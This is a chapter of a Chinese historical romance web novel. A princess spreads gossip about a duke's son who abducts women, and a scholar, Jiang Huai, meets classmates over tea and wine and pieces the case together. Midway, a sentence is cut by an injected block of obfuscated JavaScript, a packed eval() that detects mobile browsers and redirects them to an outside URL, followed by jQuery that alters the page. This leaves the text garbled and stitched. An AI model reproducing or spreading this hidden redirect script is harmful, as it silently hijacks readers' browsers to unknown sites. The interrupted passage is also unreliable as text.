接下来的数日，沐清欢畅意极了。连着演了几轮的戏，她急需好好弥补自己。
于是，沐清欢先请了个戏班子，到公主府连唱了两天。又从皇帝赏的锦缎里挑出颜色鲜亮的，让宫中的绣娘赶制了一批新衣裳。余下的时间，她就拿着新得来的两箱珠宝抛着玩。
等她在国公府寿宴提前离席一事被逐渐淡忘之后，沐清欢又在公主府里办了次小规模的赏花宴，专门邀请了京城里最爱热闹的贵女。中途，她假装无意地透露了一点寿宴当日的秘辛，那几位闺秀顿时听得两眼放光。想来不需要等第二天，三公子口出狂言之事就要传遍京城了。
沐清欢自然知道，皇帝想将事情压下去。可谁让她素来睚眦必报呢？以她过往的性情，若是真的得理饶人，就此翻篇，恐怕贵妃才会心生警惕，觉得她另有图谋了。
除此之外，她也没忘记让人盯着兴平侯府的动向。侯府二房几位主子本就对爵位虎视眈眈，又有沐清欢安排的人煽风点火，如今已摩拳擦掌，预备着要给江淮设一个天衣无缝的精妙好局。
*
江淮坐在药铺后堂温书。
书上的字密密麻麻，却一个字也进不去脑子里。半晌之后，他认命地把书搁下，叹了口气。
他救下那位姑娘的第三日，有侍女送来了银票和伤药作为谢礼，取走了他为香包备好的药材，却对姑娘的情况三缄其口，只说她受了惊吓，等身体康复，再亲自前来道谢。
如今，又过去了近十日，那位姑娘却再也没有出现过。江淮几次去衙门打探案件的消息，也都被搪塞了回来。
心里悬着这桩事，左右也看不进书，江淮沉吟片刻，预备再去衙门碰碰运气。
走到衙门外，江淮让外头的衙役帮忙给京兆尹传话。刚说了开头，忽然有人从身后拍了拍他的肩。
江淮转过身，对上那人惊喜的面孔，“江兄！果然是你！”
他热络地勾住江淮的肩膀，“我前两日刚与魏兄提到你，这么久不见，我们兄弟三个可要好好喝两杯！”
来人是江淮在白鹿书院的同窗常文镜。白鹿书院汇聚了京城里出身最为显贵的一批世家子弟，虽以不问出身、只论才学为宗旨，学生之间却早按家世划分出泾渭分明的层级。
兴平侯府本就落魄，又兼之江淮性情沉闷寡言，自然入不了那些世家子的眼。他在书院里唯二投缘些的同窗，便是常文镜与他口中的魏兄、魏泽。
自兴平侯江玮过世后，江淮便没再去过书院。此刻忽然见到老友，他也露出了几分笑意，拱手道，“常兄，确实许久不见。”
但想到心里惦记的事情，他一时有些为难，“我今日有事来寻京兆尹大人，恐怕一时抽不开身......”
“你找我舅舅？那可不巧，他今日不在官署。”常文镜抬起手里的食盒，努了努嘴，“我娘惦记舅舅，让我送些点心过来，结果白跑了一趟。”
江淮恍然。他最初结识京兆尹，便是因为常文镜的关系。后来江玮意外过世，京兆尹与刑部又到侯府问了几次话，才算是有了几分交情。
话已至此，江淮依旧不死心，“不知京兆尹大人何时能回来？若是不久，我与常兄一起等上一时半刻也无妨。”
常文镜摇头，“那可难说了。听说是有什么大案子要进宫和陛下禀报，没有大半日可回不来。”
他不由分说地揽住江淮，“走了，有什么事改日再说，先喝酒去！”
江淮并没有太多叙旧的心思，但对方盛情难却，再加上他莫名对常文镜口中的“大案子”有几分在意，便也顺势答应了下来。
二人说话的功夫，常文镜已让小厮去了魏府，所以等两人刚到酒楼不久，魏泽便也到了。
魏泽同二人寒暄几句后落座。常文镜叫小二端上一壶好酒，先给魏泽满上，准备给江淮倒时，江淮按住了他的手，“常兄，我还在孝期，不能饮酒。”
这话一出，气氛顿时沉重起来。常文镜忙打岔道，“瞧我这破记性，真是该罚！这顿饭我请了！”
他喊小二添上一壶香气浓郁的龙井给江淮斟上，又将茶盏推至江淮面前，“江兄便以茶代酒，贺一贺我们兄弟今日重聚之喜！”
推杯换盏一轮后，江淮有心活跃气氛，便问魏泽，“方才听常兄说，魏兄喜事将近，不知可有订下日子？”
魏泽沉默片刻，“我爹娘的意思，姻缘大事马虎不得，想等春闱之后再做决定。”
这话里富含深意，连与魏泽一直保持来往的常文镜都吃了一惊，“怎么，若你春闱一举高中，便不娶敏敏姑娘了？”
两人都知道魏泽有个青梅竹马的姑娘。从前在书院时，江淮时常见她来寻魏泽。那时听魏泽说起，两家是多年的交情，自儿女小时便订了娃娃亲。
出于礼貌，江淮并没有仔细观察过那位敏敏姑娘，只记得她十分安静温文。魏泽虽然言语上总嫌弃她缠着自己，私下谈起时却显得十分受用，并不似对她无意的模样。
魏泽闷了一杯酒，“我是长子，合该为家族考虑。敏敏什么都好，就是她父亲早逝，兄长也不成器，如今与我实在不算匹配。”
常文镜性情中人，当即便怒了，“那你自己的想法呢！亏我还拿你当知己，敏敏姑娘待你这样好，你就预备辜负她？”
魏泽颓然道，“常兄，你与我不同，你上头有大哥顶着，平日里只要不惹祸就好。便是这次春闱，也不过是下场试手。等过几年，再靠族里荫个小官。”
“可我身为长子，家族荣辱系于一身，实在半点马虎不得。”
“振兴家族该靠自己去挣，而不是倚仗岳家！”
“若真如此，你兄长为何要娶户部侍郎的孙女，而不是随意娶个小吏之女？”
“这，这怎么能一样？我兄长从前又不曾有过娃娃亲，更没有辜负过女子的真心！”
二人你一言我一语，针锋相对起来，声音也越来越大。好在是在雅间里，外头听不见说什么。
吵了半晌，常文镜拉过一直不曾开口的江淮，“江兄，你来评评理！”
江淮无奈地笑了笑，“这是魏兄私事，我不便干涉。”
对江淮来说，若平日里遇见有人因贫病处境艰难，或是因意外陷入凶险，他会毫不犹豫地伸出援手。但眼前之事，无论他说什么或是做什么，都无法改变那位敏敏姑娘的处境。
魏泽不可能因为他几句话就改变主意，坚定去娶自己的青梅；敏敏姑娘也不会因为他做些什么，就能挽回这段婚约。这是仅属于两人之前的问题，旁人无法插手。
这世上有太多他爱莫能助之事，对于这些，江淮已习惯保持沉默。
听见江淮的回答，常文镜无趣地撇了撇嘴。但被这么一打岔，他的怒气也消了下来。把话题转到了江淮身上，
“江兄，算起来你比我二人都长了两岁，怎的还没有动静？”
兴平侯过世已两年有余，江淮虽离出孝还有数月，但若只是寻常相看走动，也不算要紧事。
江淮握着茶杯，垂言道，“我本就无心于此，这两年家中又实在不太平。若真订下，也是祸害了旁人。”
江淮这话说得委婉，另外两人却都沉默下来。前任兴平侯的死因，京城之中可算得上人尽皆知。
两年多前，京郊的山上忽然冒出一伙悍匪，仗着地势易守难攻，盘踞其中迅速壮大。朝廷小范围派了几次兵，但都无功而返。几波势力多番争论之后，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17516226|203204||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
将这个烫手山芋丢给了已然式微的兴平侯府。
兴平侯府的爵位已传至第三代，并不受当今圣上重用。兴平侯多年未领差事，虽知剿匪一事棘手，却也只能应承下来。
谁知剿匪当日，部署竟被早早泄露。兴平侯非但损兵折将，连自己也被乱箭射中坠马而死。消息传回京中，皇帝大怒。虽然事后查起来，并无实据证明江玮事先与匪徒勾结。但毕竟圣心难测，此后，原本与侯府有交情的人家都疏远了关系。
常文镜叹了口气，不知该如何安慰。魏泽却有不同的想法，“江兄如今的困局也不难解，陛下惜才，当年也并未牵连侯府。若江兄春闱一举中第，便是侯府爵位，也不是不能一争。”
江淮忙摆手，“魏兄说笑了，我对爵位无意。日后也莫要再提这些。”
魏泽不赞成道，“江兄，你到底是侯府长子，合该去争上一争。虽说侯府不复昔日荣耀，但那终究是多少人求不得的爵位。我家若有爵位在，我也不必如此辛苦。”
见理念不同，无法说服对方，江淮便不再多言。他想起自己来时的目的，看常文镜已经有了醉意，便套话道，“我前两日听人说起，京城近日似乎不太平。说得模棱两可，不知你们可有听见什么风声？”
常文镜嗐了一声，“没听说啊。真要说有什么，也是贵人之间的事，与我们没什么干系。”
“贵人？”
看两人的目光都望过来，常文镜压低声音，“我悄悄告诉你们，可别说出去。我听说，国公府三公子要倒大霉了！”
魏泽应和道，“我妹妹好友的表姐的小姑前些日子被邀请去了永昭公主的赏花宴。听说，林郁之前出言不逊，狠狠地得罪了公主殿下。”
两人家中都有人去国公府贺寿，对此事自然知晓些风声。然而江淮却并不知情。
三言两语给江淮解释一番后，常文镜说，“林郁那家伙过往仗着国公爷和四皇子的势，在外头无恶不作。如今终于遭了报应，也是大快人心！”
魏泽也十分赞同，“我家中的姊妹外出赴宴，若听到有林郁在场，都免不了担惊受怕，恨不能离他远远的。”
江淮似乎抓住了关键，“你们是说，林郁过往时常骚扰女子？”
林郁虽与他们年纪相仿，但因为是皇子伴读，不在白鹿书院读书。国公府的门第本就轮不到侯府去攀，江淮又素来极少参与宴会，对此人的名声并不了解。
魏泽点头，“对出身高的贵女还算收敛，但若是在外头遇见貌美女子，他便时常不管不顾直接掳回家去。等那家人闹上门，多赔些银子便压下去了。”
线索在脑海中串联了起来。江淮喃喃道，“原来如此。”
这样公然掳掠女子的大案，拖了这么久却一直抓不到歹徒。京兆尹被问起时，也总是三缄其口。
若凶手背后有让京兆尹忌惮的靠山，便说得通了。只是碰巧，凶手踢到了更大的铁板，所以事态演变成了贵人之间的争斗。
想到这里，江淮心情一时有些复杂。十年寒窗，读遍圣贤道义，他自然是抱着匡扶社稷的愿景。
所谓天子犯法与庶民同罪。然而国公府公子强抢民女却能屡次逃脱，一朝因言得罪公主便立刻遭难。可见律法公正，在强权面前从来不值一提。
江淮一时有些灰心，随即劝自己不再深想下去。世上无能为力之事本就太多，多思无益。
至少他及时出现，挽救了那位姑娘的命运，凶手也终究得到了应得的报应。想到这里，他对素未谋面的永昭公主，不禁生出了一丝感激之情。
下次再与那位姑娘见面时，定要把这个好消息告诉她。或许，两人还可以一起，去庙里为公主供上一个长生牌位。